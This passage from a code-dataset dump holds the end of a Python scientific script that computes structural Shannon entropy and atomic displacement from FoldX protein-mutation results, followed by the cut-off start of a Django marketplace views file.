sys.stdout.flush()\n    initJobsDirs(jobs_dir, include_wt, displacement, debug)\n    print(\"Done...{}\".format(datetime.datetime.now()))\n    sys.stdout.flush()\n\n    # energy map is a separate mode\n    if energy_map:\n        energy_map(protein, epitope, baseline, csv_file)\n        exit(0)\n\n    # the results array holds tuples of result data for output either\n    # as CSV or to console\n    results = []\n    has_epitopes = False\n    has_ranges = False\n\n    # this sets up the output files\n    if csv_file:\n        setup_entropy_csv(csv_file, tab_delimited)\n\n    # scan is a separate mode\n    if scan:\n        results.extend(scan(protein, scan, debug, baseline, displacement,\n                            include_wt))\n        has_ranges = True\n\n    elif epitope is not None:\n        if protein is None:\n            eprint('If you specify --epitope, you must also specify --protein')\n            click.get_current_context().get_help()\n            return\n        # EpitopeResults handles the cached calculations\n        results.append(EpitopeResults(protein, epitope, debug, baseline,\n                                      displacement, include_wt))\n        has_epitopes = True\n\n    elif protein:\n        # ProteinResults handles the cached calculations\n        results.append(ProteinResults(protein, debug, baseline, displacement,\n                                      include_wt))\n        has_epitopes = True\n\n    elif sites:\n        if not protein:\n            eprint('If you specify --sites, you must also specify --protein')\n            click.get_current_context().get_help()\n            return\n        first, last = (int(i) for i in sites.split('-'))\n        # RangeResults handles the cached calculations\n        results.append(RangeResults(protein, first, last, debug, baseline,\n                                    displacement, include_wt))\n\n    else:  # all proteins & epitopes\n        has_epitopes = True\n\n        print(\"Running all proteins...{}\".format(datetime.datetime.now()))\n\n        for proteinName in proteins.keys():\n            results.append(ProteinResults(proteinName, debug, baseline,\n                                          displacement, include_wt))\n\n    if energies:  # output raw energy data\n        if csv_file:\n            output_energies_csv(results, tab_delimited, csv_file)\n        else:\n            outputEnergies(results)\n        return\n\n    # output results\n    if csv_file:\n        output_csv(results, has_epitopes, has_ranges, tab_delimited, csv_file,\n                   header)\n    else:\n        output(results)\n\n    if json:\n        output_json(results, csv_file)\n\ndef dump_energies(range_results):\n    rr = range_results\n    energies = defaultdict(dict)\n    for site in rr.siteResults:\n        for mutation in site.evaluators:\n            mutations = energies[mutation.protein].get(mutation.site, [])\n            mutations.append({\n                \"wt\": str(mutation.wt),\n                \"mutation\": str(mutation.mutation),\n                \"energyDelta\": str(mutation.energyDelta)\n            })\n            energies[mutation.protein][mutation.site] = mutations\n    return energies\n\ndef dump_entropies(site_results):\n    return sorted([str(sr.entropy) for sr in site_results\n                   if sr.entropy is not None])\n\ndef dump_displacements(site_results):\n    return sorted([str(sr.averageDisplacement) for sr in site_results\n                   if sr.averageDisplacement is not None])\n\ndef dump_SiteResult(site_result):\n    sr = site_result\n    mutations = defaultdict(dict)\n    mutations['entropy'] = str(sr.entropy)\n    for mutation in sr.evaluators:\n        idx = sr.evaluators.index(mutation)\n        mutations[mutation.wt][mutation.mutation] = {\n            \"energy_delta\": str(mutation.energyDelta),\n            \"displacement\": str(mutation.displacement),\n            \"boltzman_probability\": str(sr.boltzmann_probabilities[idx])\n        }\n\n    return mutations\n\ndef dump_EpitopeResult(epitope_result, output):\n    er = epitope_result\n\n    output[er.proteinName][er.epitopeName] = { sr.site: dump_SiteResult(sr)\n                                               for sr in er.siteResults }\n    # {\n    #     \"avgE\": str(er.averageEntropy),\n    #     \"entropies\": dump_entropies(er.siteResults),\n    #     \"avgD\": str(er.averageDisplacement),\n    #     \"displacements\": dump_displacements(er.siteResults),\n    #     \"energies\": dump_energies(epitope_result)\n    # }\n    return output\n\ndef dump_ProteinResult(protein_result, output):\n    \"\"\"Update and return the given output dict with the given protein_result\"\"\"\n    for er in protein_result.epitopeResults:\n        output = dump_EpitopeResult(er, output)\n    return output\n\ndef dump_RangeResult(range_result, output):\n    rr = range_result\n    output[rr.proteinName]['{}-{}'.format(rr.first, rr.last)] = {\n        \"avgE\": str(rr.averageEntropy),\n        \"entropies\": dump_entropies(rr.siteResults),\n        \"avgD\": str(rr.averageDisplacement),\n        \"displacements\": dump_displacements(rr.siteResults),\n        \"energies\": dump_energies(range_result)\n    }\n    return output\n\n\ndef output_json(results, filename):\n    \"\"\"Output all results as machine-parseable json files\n\n    :param results: the results array\n    :param filename: the output filename prefix\n\n    FIXME: The following is very naive and unlikely to work.\n    \"\"\"\n    outputs = defaultdict(dict)\n    # If the results are one of the various results classes, parse into a dict\n    # FIXME: We could improve this by aggregating results into a single object\n    #        or by passing an output buffer to print results if they\n    #        don't fit in memory\n    for r in results:\n        if isinstance(results[0], SiteResults):\n            raise IOError('Unimplemented!')\n        elif isinstance(results[0], EpitopeResults):\n            outputs = dump_EpitopeResult(r, outputs)\n        elif isinstance(results[0], RangeResults):\n            outputs = dump_RangeResult(r, outputs)\n        elif isinstance(results[0], ProteinResults):\n            outputs = dump_ProteinResult(r, outputs)\n        else:\n            outputs.append(r)\n\n    with open('{}.json'.format(filename), 'wb') as outfile:\n        json.dump(outputs, outfile)\n\ncsv_entropies_file = None  # file object\ncsv_site_results = None  # csv writer\n\n\ndef setup_entropy_csv(csv_file, tab_delimited):\n    global csv_site_results, csv_entropies_file\n    if tab_delimited:\n        dialect = 'excel-tab'\n    else:\n        dialect = 'excel'\n    csv_entropies_file = open(csv_file + '-site_entropies.csv', 'wb')\n    csv_site_results = csv.writer(csv_entropies_file, dialect=dialect)\n    csv_site_results.writerow(('protein', 'site', 'entropy'))\n\n\ndef scan(protein, scan, debug, baseline, displacement, include_wt):\n    \"\"\"runs through all sites within the ranges specified by\n    command-line args and accumulates the calculation results\"\"\"\n    if protein:\n        return scan_protein(protein, scan, debug, baseline, displacement,\n                            include_wt)\n\n    results = []\n    for protein in proteins.keys():\n        results.extend(scan_protein(protein, scan, debug, baseline,\n                                    displacement, include_wt))\n    return results\n\n\ndef energy_map(protein, epitope, baseline, csv_file):\n    bannedList = ['X', 'B', 'Z']  # these aminos are ignored\n    aaCodes = sorted([v for v in codes.values() if v not in bannedList])\n    energies = {wt: {mutation: [] for mutation in aaCodes} for wt in aaCodes}\n    for evaluator in evaluators.values():\n        if evaluator.wt in bannedList or evaluator.mutation in bannedList:\n            continue\n        if protein and evaluator.protein != protein:\n            continue\n        if epitope:\n            epitopeRecord = proteins[evaluator.protein][epitope]\n            if (evaluator.site < epitopeRecord.first\n                or evaluator.site > epitopeRecord.last):\n                continue\n        try:\n            energy = evaluator.energyDelta\n        except Exception:\n            print_exc()\n            print('energy_map is ignoring the bad data.')\n            continue\n        if baseline == 'absolute':\n            energy = abs(energy)\n        energies[evaluator.wt][evaluator.mutation].append(energy)\n    if csv_file:\n        with open(csv_file, 'wb') as f:\n            out = csv.writer(f)\n            out.writerow(['WT \\ Mutation'] + aaCodes)\n            for wt in aaCodes:\n                out.writerow([wt] + [mean(energies[wt][mutation])\n                                     for mutation in aaCodes])\n    else:\n        print('WT \\ Mutation \\t' + '\\t'.join(aaCodes))\n        for wt in aaCodes:\n            # print wt, < -- not sure if below is equivalent -- FIXME\n            print(wt, end=',')\n            for mutation in aaCodes:\n                # print '\\t' + str(),\n                # FIXME: Not sure if the following is equivalent to above\n                print('\\t', end=',')\n            print\n\n\ndef scan_protein(proteinName, scan, debug, baseline, displacement, include_wt):\n    proteinKey = proteinName.upper()\n    minIndex, maxIndex = sys.maxint, 0\n    for protein, site, mutation in evaluators.keys():\n        if protein == proteinKey:\n            minIndex = min(minIndex, site)\n            maxIndex = max(maxIndex, site)\n\n    results = []\n    window_size = scan\n    for first in range(minIndex, maxIndex - window_size + 2):\n        results.append(RangeResults(\n            proteinName, first, first + window_size - 1, debug, baseline,\n            displacement, include_wt))\n    return results\n\n\ndef output_csv(results, has_epitopes, has_ranges, tab_delimited, csv_file,\n               csv_header):\n    csv_epitopes = None\n    global csv_site_results\n    if tab_delimited:\n        dialect = 'excel-tab'\n    else:\n        dialect = 'excel'\n    epitope_file = None\n    try:\n        if has_epitopes:\n            epitope_file = open(csv_file +\n                                '-epitope_summaries.csv', 'wb')\n            csv_epitopes = csv.writer(epitope_file, dialect=dialect)\n        elif has_ranges:\n            epitope_file = open(csv_file +\n                                '-range_summaries.csv', 'wb')\n            csv_epitopes = csv.writer(epitope_file, dialect=dialect)\n        if csv_header:\n            if has_epitopes:\n                csv_epitopes.writerow(('protein', 'epitope', 'avg_entropy',\n                                       'max_entropy', 'max_2_entropy',\n                                       'max_3_entropy',\n                                       'avg_displacement', 'min_displacement',\n                                       'min_2_displacement',\n                                       'min_3_displacement'))\n            elif has_ranges:\n                csv_epitopes.writerow(('protein', 'first', 'last',\n                                       'avg_entropy', 'max_entropy',\n                                       'max_2_entropy',\n                                       'max_3_entropy', 'avg_displacement',\n                                       'min_displacement', 'min_2_displacement',\n                                       'min_3_displacement'))\n        for result in results:\n            if isinstance(result, ProteinResults):\n                for er in result.epitopeResults:\n                    output_epitope_result_csv(er, csv_epitopes)\n            elif isinstance(result, EpitopeResults):\n                output_epitope_result_csv(result, csv_epitopes)\n            elif isinstance(result, RangeResults):\n                output_range_result_csv(result, csv_epitopes)\n    finally:\n        csv_entropies_file.close()\n        if epitope_file is not None:\n            epitope_file.close()\n\n\ndef output(results):\n    for result in results:\n        if isinstance(result, ProteinResults):\n            for er in result.epitopeResults:\n                output_epitope_result(er)\n            if result.r2:\n                print('%s r2 = %.2f' % (result.proteinName, result.r2))\n        elif isinstance(result, EpitopeResults):\n            output_epitope_result(result)\n        elif isinstance(result, RangeResults):\n            output_range_result(result)\n\n\ndef output_epitope_result(er):\n    if er.averageEntropy is not None:\n        print('%s %s entropy = %.2f' % (er.proteinName, er.epitopeName,\n                                        er.averageEntropy), end=',')\n        if er.expectedAverageEntropy is not None:\n            print('(%.2f)' % er.expectedAverageEntropy, end=',')\n    if er.averageDisplacement is not None:\n        print('with average displacement of %.4f' % er.averageDisplacement,\n              end=',')\n    print\n\n\ndef output_range_result(rr):\n    if rr.averageEntropy is not None:\n        print('%s %d-%d entropy = %.2f' % (rr.proteinName, rr.first, rr.last,\n                                           rr.averageEntropy), end=',')\n    if rr.averageDisplacement is not None:\n        print('with average displacement of %.4f' % rr.averageDisplacement)\n    print('')\n\n\ndef output_epitope_result_csv(er, out):\n    avgE = er.averageEntropy or ''\n    entropies = sorted(\n        [sr.entropy for sr in er.siteResults if sr.entropy is not None],\n        reverse=True)\n    while len(entropies) < 3:\n        entropies += [None]\n    avgD = er.averageDisplacement or ''\n    displacements = sorted(\n        [sr.averageDisplacement for sr in er.siteResults\n         if sr.averageDisplacement is not None])\n    while len(displacements) < 3:\n        displacements += [None]\n    row = (er.proteinName, er.epitopeName,\n           avgE, entropies[0], entropies[1], entropies[2],\n           avgD, displacements[0], displacements[1], displacements[2])\n    out.writerow(row)\n\n\ndef output_range_result_csv(rr, out):\n    avgE = rr.averageEntropy or ''\n    entropies = sorted(\n        [sr.entropy for sr in rr.siteResults if sr.entropy is not None],\n        reverse=True)\n    while len(entropies) < 3:\n        entropies += [None]\n    avgD = rr.averageDisplacement or ''\n    displacements = sorted(\n        [sr.averageDisplacement for sr in rr.siteResults\n         if sr.averageDisplacement is not None])\n    while len(displacements) < 3:\n        displacements += [None]\n    row = (rr.proteinName, rr.first, rr.last,\n           avgE, entropies[0], entropies[1], entropies[2],\n           avgD, displacements[0], displacements[1], displacements[2])\n    out.writerow(row)\n\n\ndef output_energies_csv(results, tab_delimited, csv_file):\n    if tab_delimited:\n        dialect = 'excel-tab'\n    else:\n        dialect = 'excel'\n    with open(csv_file + '-energies.csv', 'wb') as outfile:\n        csvfile = csv.writer(outfile, dialect=dialect)\n        csvfile.writerow(('protein', 'site', 'wt', 'mutation', 'deltaE'))\n\n        def writeline(items):\n            csvfile.writerow(items)\n        outputEnergies(results, writeline)\n\n\ndef writeStdout(items):\n    print('\\t'.join(items))\n\n\ndef outputEnergies(results, writeline=writeStdout):\n    writeline_queue = []\n\n    def handleRangeResults(result):\n        for site in result.siteResults:\n            for mutation in site.evaluators:\n                #items =\n                # (mutation.protein,mutation.site,mutation.wt,mutation.mutation,\n                # mutation.energyDelta)\n                # writeline(items)\n                items = \"{0},{1},{2},{3},{4}\".format(\n                    mutation.protein, mutation.site, mutation.wt,\n                    mutation.mutation, mutation.energyDelta)\n                writeline_queue.append(items)\n    for result in results:\n        if isinstance(result, ProteinResults):\n            for eresult in result.epitopeResults:\n                handleRangeResults(eresult)\n        else:\n            handleRangeResults(result)\n\n    # sort results\n    print(writeline_queue)\n    sorted_wl_queue = sorted(writeline_queue, key=str.lower)\n    # writeline(sorted_wl_queue)\n    for entry in sorted_wl_queue:\n        writeline(tuple(entry.split(\",\")))\n\n\nproteinToPdb = {protein: pdbPath.split(\n    '/')[-1] for protein, pdbPath in pdbs.iteritems()}\n\n\nclass MutationEvaluator(object):\n    \"\"\" evaluates a single job directory which represents a single\n    site mutation \"\"\"\n\n    def __init__(self, directory, protein, site, mutation, wt, displacement,\n                 debug):\n        self.initialized = False\n        self.directory = directory\n        self.protein = protein\n        self.site = site\n        self.mutation = mutation\n        self.wt = wt\n        self.displacement = displacement\n        self.debug = debug\n        self.initialize()\n\n    def initialize(self):\n        if self.initialized:\n            return\n        pdb = proteinToPdb[self.protein]\n        self.pdb = pdb\n        pdbStub = pdb[:-len('.pdb')]\n        # each entry is a list whose first element is the total energy and\n        # other elements are the component energies\n        self.energies = []\n        # each entry is a list whose first element is the total energy\n        # and other elements are the component energies\n        self.wtEnergies = []\n        self.displacements = []\n\n        # load energies\n        raw_buildmodel_filename = os.path.join(\n            self.directory, 'Raw_BuildModel_%s.fxout' % pdbStub)\n        try:\n            with open(raw_buildmodel_filename) as buildmodel_file:\n                for line in buildmodel_file.readlines()[9:]:\n                    if line.startswith(pdbStub):\n                        self.energies.append([float(e)\n                                              for e in line.split('\\t')[1:]])\n                    elif line.startswith('WT_'):\n                        self.wtEnergies.append([float(e)\n                                                for e in line.split('\\t')[1:]])\n        except IOError as err:\n            eprint('Could not read file %s' % raw_buildmodel_filename)\n            raise err\n        assert len(self.energies) == len(self.wtEnergies)\n        # average deltas for each energy component\n        self.energyDeltas = [mean([e - w for e, w in zip(es, ws)])\n                             for es, ws in zip(zip(*(self.energies)),\n                                               zip(*(self.wtEnergies)))]\n        self.energyDelta = self.energyDeltas[0]\n\n        if self.displacement:\n            # calculate displacements\n            i = 0\n            while True:\n                outputPdb = os.path.join(\n                    self.directory, '%s_1_%d.pdb' % (pdbStub, i))\n                if not os.path.exists(outputPdb):\n                    break\n                wtOutputPdb = os.path.join(\n                    self.directory, 'WT_%s_1_%d.pdb' % (pdbStub, i))\n                with open(outputPdb) as a, open(wtOutputPdb) as b:\n                    self.displacements.append(analyze_displacement(a, b,\n                                                                   self.debug))\n                i += 1\n            if len(self.displacements) == 0:\n                eprint('Warning: no displacement data found for'\n                       ' %s %s %s' % (self.protein, self.site, self.mutation))\n                self.displacement = None\n            else:\n                self.displacement = mean(self.displacements)\n        else:\n            self.displacements = []\n            self.displacement = None\n\n        self.initialized = True\n\n\nmanager = Manager()\nevaluators = manager.dict()\nmutations = codes.values()\n\n\ndef initJobsDirs(jobs_dir, include_wt, displacement, debug):\n    \"\"\" initializes the jobDirs variable \"\"\"\n    pdbToProtein = { pdbPath.split('/')[-1]: protein\n                     for protein, pdbPath in pdbs.iteritems() }\n\n    roots = list()\n    filelists = list()\n    for root, dirs, files in os.walk(jobs_dir, followlinks=True):\n        roots.append(root)\n        filelists.append(files)\n        # checkJobsDir(pdbToProtein, root, files, include_wt, displacement, debug)\n\n    doers = Pool(cpu_count())\n    jobs = zip([pdbToProtein]*len(roots),\n               roots,\n               filelists,\n               [include_wt]*len(roots),\n               [displacement]*len(roots),\n               [debug]*len(roots))\n\n    print(\"Loading {} evaluators...{}\".format(len(roots),\n                                              datetime.datetime.now()))\n    sys.stdout.flush()\n    with click.progressbar(doers.imap_unordered(checkJobsDir, jobs),\n                           length=len(roots), label='Running',\n                           file=sys.stderr) as progbar:\n        for j in progbar:\n            pass\n    print(\"Done...{}\".format(datetime.datetime.now()))\n\n\n\n\ndef checkJobsDir(args):\n    \"\"\"Looks for FoldX job files in the directory and creates a\n    MutationEvaluator for the directory\"\"\"\n    pdbToProtein, dirname, filenames, include_wt, displacement, debug = args\n    list_file_path = os.path.join(dirname, 'list.txt')\n    if not os.path.exists(list_file_path):\n        # no list.txt file, so this is not a job directory.\n        return\n    with open(list_file_path) as list_file:\n        pdbFilename = list_file.read().strip()\n        protein = pdbToProtein.get(pdbFilename)\n        if protein is None:\n            raise Exception('%s was not found in the pdbs variable in'\n                            ' proteins.py' % pdbFilename)\n    ind_list_file_path = os.path.join(dirname, 'individual_list.txt')\n    with open(ind_list_file_path) as ind_list_file:\n        m = re.match(r'(\\w)(\\w)(\\d+)(\\w)',\n                     ind_list_file.readline().split(',')[0])\n        wt = m.group(1)\n        # chain = m.group(2)\n        site = int(m.group(3))\n        mutation = m.group(4)\n    if mutation != wt or include_wt:\n        evaluatorKey = (protein, site, mutation)\n        if evaluatorKey in evaluators:\n            eprint('Warning: duplicate data found for %s %d %s in directories '\n                   '%s and %s' % (protein, site, mutation, dirname,\n                                  evaluators[evaluatorKey].directory))\n        else:\n            try:\n                evaluators[evaluatorKey] = MutationEvaluator(\n                    dirname, protein, site, mutation, wt, displacement, debug)\n            except Exception as e:\n                eprint(\"Exception: {}\".format(e))\n\n\ndef analyze_displacement(original_pdb, mutated_pdb, debug):\n    \"\"\" This mode computes the sum of squared displacements across all\n    sites in the protein due to the mutation.\n\n    :param original_pdb: file-like of the original PDB file\n    :param mutated_pdb: file-like of the mutated PDB file\n    :return: a single non-negative float which represents the sum of\n             squared displacements caused by the mutation\n    \"\"\"\n\n    orig_pos = read_positions(original_pdb, debug)\n    mutated_pos = read_positions(mutated_pdb, debug)\n\n    total = BigFloat(0)\n    matches = 0\n    for k, v in orig_pos.iteritems():\n        if k in mutated_pos:\n            matches += 1\n            ox, oy, oz = v\n            mx, my, mz = mutated_pos[k]\n            dx, dy, dz = BigFloat(\n                mx - ox), BigFloat(my - oy), BigFloat(mz - oz)\n            total += dx * dx + dy * dy + dz * dz\n    if debug:\n        print('found %d matching ATOM lines between PDB files' % matches)\n    return float(total)\n\n\ndef read_positions(file, debug):\n    \"\"\" used by analyze_displacement.  reads x,y,z positions for each\n    atom in a PDB file \"\"\"\n    result = {}\n\n    def stripstr(v):\n        return str(v).strip()\n    for line in file:\n        if line.startswith('ATOM'):\n            # these are specified as inclusive ranges of 1-based\n            # indexes to match the PDB spec\n            fieldspec = [\n                ('atom', 13, 16, stripstr),\n                ('remnant', 18, 20, stripstr),\n                ('chain', 22, 22, stripstr),\n                ('position', 23, 26, int),\n                ('x', 31, 38, float),\n                ('y', 39, 46, float),\n                ('z', 47, 54, float),\n            ]\n            info = {f[0]: f[3](line[f[1] - 1:f[2]]) for f in fieldspec}\n            key = '%s-%s-%s-%s' % (info['chain'], info['position'],\n                                   info['remnant'], info['atom'])\n            result[key] = (info['x'], info['y'], info['z'])\n    if len(result) == 0:\n        print('WARNING: displacement file had no ATOM lines')\n    if debug:\n        print('displacement file had ' + str(len(result)) + ' ATOM lines')\n    return result\n\n\ndef mean(list):\n    num = len(list)\n    if num == 0:\n        return float('NaN')\n    return sum(list) / num\n\n\nclass SiteResults:\n    \"\"\"This uses the MutationEvaluators for the current site to\n    calculate site-wide metrics like its Boltzmann Distribution\"\"\"\n\n    instances = {}\n\n    @classmethod\n    def instance(cls, proteinName, site, debug, baseline, displacement,\n                 include_wt):\n        proteinKey = proteinName.upper()\n        key = (proteinKey, site)\n        found = cls.instances.get(key)\n        if found is None:\n            found = SiteResults(proteinName, site, debug, baseline,\n                                displacement, include_wt)\n            cls.instances[key] = found\n        return found\n\n    def __init__(self, proteinName, site, debug, baseline, displacement,\n                 include_wt):\n        self.proteinName = proteinName\n        self.site = site\n        self.evaluators = []  # MutationEvaluators\n        proteinKey = proteinName.upper()\n        if debug:\n            print('Site %s %d Results' % (proteinName, site))\n        # Collect all MutationEvaluators for this site\n        for mutation in mutations:\n            if mutation not in ['B', 'Z', 'X']:\n                evaluator = evaluators.get((proteinKey, site, mutation))\n                if evaluator is not None:\n                    self.evaluators.append(evaluator)\n        if debug:\n            for ev in self.evaluators:\n                print('%s %s %s energy: %.3f' % (ev.protein, ev.site,\n                                                 ev.mutation, ev.energyDelta))\n        # Collect energy deltas for the Boltzmann Distribution\n        # todo different baselines.  currently only ddE\n        self.energies = [ev.energyDelta for ev in self.evaluators]\n        if baseline == 'absolute':\n            self.energies = [abs(e) for e in self.energies]\n        elif baseline == 'raw':\n            pass\n        else:\n            eprint('Unknown baseline method: %s' % baseline)\n            click.get_current_context().get_help()\n            raise IOError('Unknown baseline method: %s' % baseline)\n        # Displacements\n        self.displacements = [ ev.displacement for ev in self.evaluators\n                               if ev.displacement is not None ]\n        if len(self.displacements):\n            self.averageDisplacement = mean(self.displacements)\n        else:\n            if displacement:\n                eprint('Warning: no displacement data for %s %d'\n                       % (self.proteinName, self.site))\n            self.averageDisplacement = None\n        # Compute boltzmann distribution from energy deltas\n        if include_wt:\n            hasWt = False\n            for ev in self.evaluators:\n                if ev.mutation == ev.wt:\n                    hasWt = True\n                    break\n            if len(self.energies) and not hasWt:\n                self.boltzmann_probabilities = compute_boltzmann(\n                    self.energies + [0.0], debug)\n            else:\n                self.boltzmann_probabilities = compute_boltzmann(self.energies,\n                                                                 debug)\n        else:\n            self.boltzmann_probabilities = compute_boltzmann(self.energies,\n                                                             debug)\n        if len(self.boltzmann_probabilities):\n            self.entropy = compute_entropy(self.boltzmann_probabilities)\n        else:\n            self.entropy = None\n        if debug and self.entropy is not None:\n            print('entropy %.3f' % self.entropy)\n        # Validate that we have one evaluator/job directory for every\n        # amino acid mutation\n        num_evaluators = len(self.evaluators)\n        if (num_evaluators != 19 and not include_wt or num_evaluators != 20\n            and include_wt):\n            eprint('Warning: %s site %d only had %d mutations: %s'\n                   % (proteinName, site, num_evaluators,\n                      [ ev.mutation for ev in self.evaluators ]))\n        # If CSV is selected, output per-site data to the site results file\n        if csv_site_results is not None:\n            csv_site_results.writerow(\n                (proteinName, site, self.entropy, self.averageDisplacement))\n\n\nclass RangeResults:\n    \"\"\"Computes Structural Entropy for a range of sites\"\"\"\n\n    def __init__(self, proteinName, first, last,\n                 debug, baseline, displacement, include_wt):\n        self.proteinName = proteinName\n        self.siteResults = []\n        self.first = first\n        self.last = last\n        # site ranges are inclusive by convention\n        for site in range(first, last + 1):\n            try:\n                self.siteResults.append(\n                    SiteResults.instance(proteinName, site, debug, baseline,\n                                         displacement, include_wt))\n            except Exception:\n                eprint('Warning: ignoring %s %d due to errors'\n                       % (proteinName, site))\n        # Collect entropies from every site in the range\n        entropies = [ ev.entropy for ev in self.siteResults\n                      if ev.entropy is not None ]\n        if len(entropies) > 0:\n            self.averageEntropy = mean(entropies)\n        else:\n            self.averageEntropy = None\n\n        # Average displacement for a range\n        self.displacements = [\n            ev.averageDisplacement for ev in self.siteResults\n            if ev.averageDisplacement is not None]\n        if len(self.displacements) > 0:\n            self.averageDisplacement = mean(self.displacements)\n        else:\n            self.averageDisplacement = None\n\n\nclass EpitopeResults(RangeResults):\n    \"\"\"Uses RangeResults to compute Structural Entropy for a given epitope\"\"\"\n\n    def __init__(self, proteinName, epitopeName,  debug, baseline, displacement,\n                 include_wt):\n        self.proteinName = proteinName\n        self.epitopeName = epitopeName\n        self.epitopeKey = epitopeName.upper()\n        self.proteinKey = proteinName.upper()\n        protein = get_protein(proteinName)\n        epitope = get_epitope(protein, epitopeName)\n        first = epitope['first']\n        last = epitope['last']\n        RangeResults.__init__(self, proteinName, first, last,  debug, baseline,\n                              displacement, include_wt)\n        self.expectedAverageEntropy = epitope['reference_value']\n        if len(self.siteResults) != last - first + 1:\n            eprint('Warning: only %d sites were found for %s %s'\n                   % (len(self.siteResults), proteinName, epitopeName))\n\n\nclass ProteinResults:\n    \"\"\"Compares SE results for an entire protein against the reference\n    data from Florencia et al\"\"\"\n\n    def __init__(self, proteinName, debug, baseline, displacement, include_wt):\n        self.proteinName = proteinName\n        protein = get_protein(proteinName)\n        self.epitopeResults = [EpitopeResults(\n            proteinName, epitopeName,  debug, baseline, displacement,\n            include_wt) for epitopeName in protein]\n        comparisons = [(er.averageEntropy, er.expectedAverageEntropy)\n                       for er in self.epitopeResults\n                       if (er.expectedAverageEntropy is not None\n                           and er.averageEntropy is not None)]\n        if len(comparisons) > 1:\n            self.r2 = r_squared(comparisons)\n        else:\n            self.r2 = None\n\n\ndef get_protein(proteinName):\n    try:\n        return proteins[proteinName.upper()]\n    except KeyError:\n        eprint(\"Invalid protein name: \" + proteinName)\n        eprint(\"Valid protein names: \" +\n               ', '.join(proteins.keys()))\n        exit(1)\n\n\ndef get_epitope(protein, epitopeName):\n    try:\n        return protein[epitopeName.upper()]\n    except KeyError:\n        eprint(\"Invalid epitope name: \" + epitopeName)\n        eprint(\"Valid epitope names in protein: \" +\n               ', '.join(protein.keys()))\n        exit(1)\n\n\ndef r_squared(pairs):  # pass a list of tuples [ (x1,y1), (x2,y2), … ]\n    \"\"\"r-squared computation used to measure correlation of our\n    results with Pereyra et al\"\"\"\n    num = len(pairs)\n    avgX = sum([x for x, y in pairs]) / num\n    avgY = sum([y for x, y in pairs]) / num\n    residuals = [(x - avgX, y - avgY) for x, y in pairs]\n    numerator = sum(rx * ry for rx, ry in residuals)\n    denominator = math.sqrt(sum(\n        [x * x for x, y in residuals])) * math.sqrt(sum([y * y\n                                                         for x, y\n                                                         in residuals]))\n    if denominator == 0:\n        return float('NaN')\n    return numerator / denominator\n\n\ndef compute_entropy(probabilities):\n    # Compute Shannon Entropy of the given distribution\n    # https://en.wikipedia.org/wiki/Entropy_(information_theory)\n    # SE = - ∑ P_i * log_b( P_i )\n    # where\n    #  P_i is the probability of sample i\n    #  log_b is log-base-b\n    # It is not clear in the Pereyra paper what units were used, so we\n    # try the two most common bases: 2 and e\n    entropy = 0.0\n    for probability in probabilities:\n        # base e: entropy measured in nats\n        entropy -= probability * bigfloat.log(probability)\n    return entropy\n\n\ndef compute_boltzmann(energies, debug):\n    # create Boltzmann distribution\n    # https://en.wikipedia.org/wiki/Boltzmann_distribution\n    # p_i = exp( -E_i / kT ) / ∑ exp( -E_j / kT )\n    # where:\n    #    p_i is the probability of state i occuring\n    #    E_i is the energy of state i\n    #    E_j is the energy of state j, where the ∑ in the denominator\n    #    iterates over all states j\n    # first we calculate exp( -E_i / kT ) for all states\n    if len(energies) == 0:\n        return []\n    if debug:\n        print(\"Boltzmann Distribution\")\n    divisor = BigFloat.exact(0.0)\n    for energy in energies:\n        ep = bigfloat.exp(-energy)\n        if debug:\n            print(\"energy, ep = %g, %g\" % (energy, ep))\n        # divisor = ∑ exp( -E_j / kT )\n        divisor += ep\n    probabilities = []\n    for energy in energies:\n        # p_i = exp( -E_i / kT ) / divisor\n        numerator = bigfloat.exp(-energy)\n        probability = numerator / divisor\n        # save probability to dictionary\n        probabilities.append(float(probability))\n        if debug:\n            print(\"%s / %s = %s\" % (numerator, divisor, probability))\n\n    return probabilities\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"immunityproject/pySE","sub_path":"pyse/compute_shannon_entropy.py","file_name":"compute_shannon_entropy.py","file_ext":"py","file_size_in_byte":40061,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"33504304027","text":"from django.shortcuts import render\n# Handle traffic from the site\nfrom django.http import HttpResponse\n\nfrom django.db.models import Q\n\nfrom .models import Category, Medium, Event, Product, Seller, Image\nfrom django.contrib.auth.models import User\nfrom .filters import ProductFilter\n\ndef get_search_value():\n\tcategories = Category.objects.all()\n\tmedium = Medium.objects.all()\n\tevent = Event.objects.all()\n\n\tvalue = {\n\t\t'categories': categories,\n\t}\n\n\treturn value\n\n# Create your views here.\ndef home(request):\n\tvalue = get_search_value()\n\tevent = Event.objects.all().values()\n\t# final_data = []\n\t# instance_data = []\n\tproducts = Product.objects.all().values('id', 'product_name', 'product_by', 'product_desc').annotate().order_by('-id')[:9]\n\ttemplate_name = 'home_app/index.html'\n\tfor product in range(0, len(products)):\n\t\timage = Image.objects.filter(product_image=products[product]['id']).values('image_file')[0]\n\t\timage_list = {\n\t\t\t'image': image\n\t\t}\n\t\tproducts[product].update(image_list)\n\tpro_carousel_img = products[:3]\n\tcontext ={\n\t\t'title': 'Home',\n\t\t'events': event,\n\t\t'pro_carousel_img': pro_carousel_img,\n\t\t'products': products,\n\t}\n\tcontext.update(value)\n\treturn render(request, template_name, context=context)\n\ndef search(request):\n\tvalue = get_search_value()\n\ttemplate_name = 'home_app/search.html'\n\tdata = Product.objects.all().values('id', 'product_name', 'product_by', 'product_date', 'product_desc', 'approved').exclude(approved=False)\n\tproduct_filter = ProductFilter(request.POST, queryset=data)\n\tproduct_filter = product_filter.qs\n\tfor product in range(0, len(product_filter)):\n\t\timage = Image.objects.filter(product_image=product_filter[product]['id']).values('image_file')[0]\n\t\timage_list = {\n\t\t\t'image': image\n\t\t}\n\t\tproduct_filter[product].update(image_list)\n\tcontext= {\n\t\t'title': 'Search',\n\t\t'data': product_filter,\n\t}\n\t# print(request.POST)\n\tcontext.update(value)\n\treturn render(request, template_name, context=context)\n\ndef load_medium(request):\n\tcategory_id = request.GET.get('category')\n\tmedium = Medium.objects.filter(med_category=category_id).order_by('medium_used')\n\treturn render(request, 'nav.html', {'medium': medium})\n\ndef product(request, value):\n\tsearch_value = get_search_value()\n\ttemplate_name = 'home_app/product.html'\n\tfinal_data = []\n\tinstance_data = {}\n\t# query = request.GET.get('value')\n\tsearch_result = Product.objects.filter(id=value).values().annotate()\n\tfor result in search_result:\n\t\tcategory = Category.objects.filter(id=result['product_category_id']).values('category_name')[0]\n\t\tseller = Seller.objects.filter(id=result['product_seller_id']).values('seller_username_id')[0]\n\t\tseller = 